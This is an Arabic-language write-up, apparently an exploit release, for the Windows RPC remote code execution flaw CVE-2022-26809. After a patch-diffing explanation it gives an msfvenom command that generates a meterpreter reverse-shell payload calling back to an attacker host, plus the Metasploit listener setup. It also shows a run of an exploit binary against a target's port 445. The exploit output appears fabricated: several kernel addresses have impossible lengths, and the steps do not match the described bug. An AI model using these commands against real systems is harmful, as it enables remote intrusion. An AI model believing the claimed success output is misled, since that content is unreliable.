
استغلال تنفيذ التعليمات البرمجية عن بُعد لـ CVE-2022-26809 يستهدف تجاوز سعة المخزن المؤقت للكومة في RPC لويندوز مع تكامل شيلكود msfvenom وتسليم حمولة قشرة عكسية meterpreter.
CVE-2022-26809 - ثغرة في مكوّن أساسي من مكونات Windows (RPC) حصلت على درجة CVSS بلغت 9.8 وليس من دون سبب؛ فالهجوم لا يتطلب مصادقة ويمكن تنفيذه عن بُعد عبر الشبكة، ويمكن أن يؤدي إلى تنفيذ الأوامر عن بُعد (RCE) بصلاحيات خدمة RPC، والتي تعتمد على العملية التي تستضيف بيئة تشغيل RPC. هذا الخطأ الحرج، مع القليل من الحظ، يسمح بالوصول إلى مضيف Windows غير محدّث يعمل بخدمة SMB. يمكن استغلال الثغرة من خارج الشبكة لاختراقها وكذلك بين الأجهزة الموجودة داخل الشبكة.
معلومات المورّد
المضيفات المعرضة للخطر التي تم اختبارها:
سنقوم بتحديث هذه القائمة لاحقًا. نشكّ في أن جميع الإصدارات تقريبًا التي تعمل بخدمة SMB ولديها منفذ 445 مفتوحًا ستتأثر.
TCP 135,139,445
تنص الثغرة CVE-2022-26809 على أن مواطن الضعف تقع داخل بيئة تشغيل RPC في Windows، والتي يتم تنفيذها في مكتبة باسم rpcrt4.dll. يتم تحميل هذه المكتبة في كلٍّ من عمليات العميل والخادم التي تستخدم بروتوكول RPC للاتصال. قارنّا الإصدارين 10.0.22000.434 (مارس) و10.0.22000.613 (المحدَّث) واستخرجنا قائمة بالتغييرات.
الدالتان OSF_SCALL::ProcessResponse وOSF_CCALL::ProcessReceivedPDU متشابهتان في طبيعتهما؛ كلتاهما تعالجان حزم RPC، لكن إحداهما تعمل على جانب الخادم والأخرى على جانب العميل (SCALL وCCALL). من خلال مقارنة (diffing) الدالة OSF_SCALL::ProcessReceivedPDU لاحظنا وجود كتلتين من التعليمات البرمجية أُضيفتا إلى الإصدار الجديد.


بالنظر إلى الكود المُحدَّث، رأينا أنه بعد QUEUE::PutOnQueue يتم استدعاء دالة جديدة. عند فحص الدالة الجديدة والتعمق في الكود الخاص بها، اكتشفنا أنها تتحقق من تجاوزات الأعداد الصحيحة. بعبارة أخرى، أُضيفت الدالة الجديدة في التحديث للتحقق من بقاء المتغير الصحيح ضمن نطاق القيم المتوقع.

بالتعمق أكثر في الكود المعرض للخطر داخل OSF_SCALL:GetCoalescedBuffer، لاحظنا أن خطأ تجاوز العدد الصحيح يمكن أن يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow)، حيث تُنسخ البيانات إلى مخزن مؤقت أصغر من اللازم لاستيعابها. وهذا بدوره يسمح بكتابة البيانات خارج حدود المخزن المؤقت على الكومة. عند استغلالها، تقودنا هذه الإمكانية إلى تنفيذ الأوامر عن بُعد!
تمت إضافة استدعاء مماثل للتحقق من تجاوز الأعداد الصحيحة في دوال أخرى أيضًا:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
ثغرة تجاوز الأعداد الصحيحة والدالة التي تمنعها موجودتان في كلٍّ من تدفقات التنفيذ على جانبي العميل والخادم.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip port
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!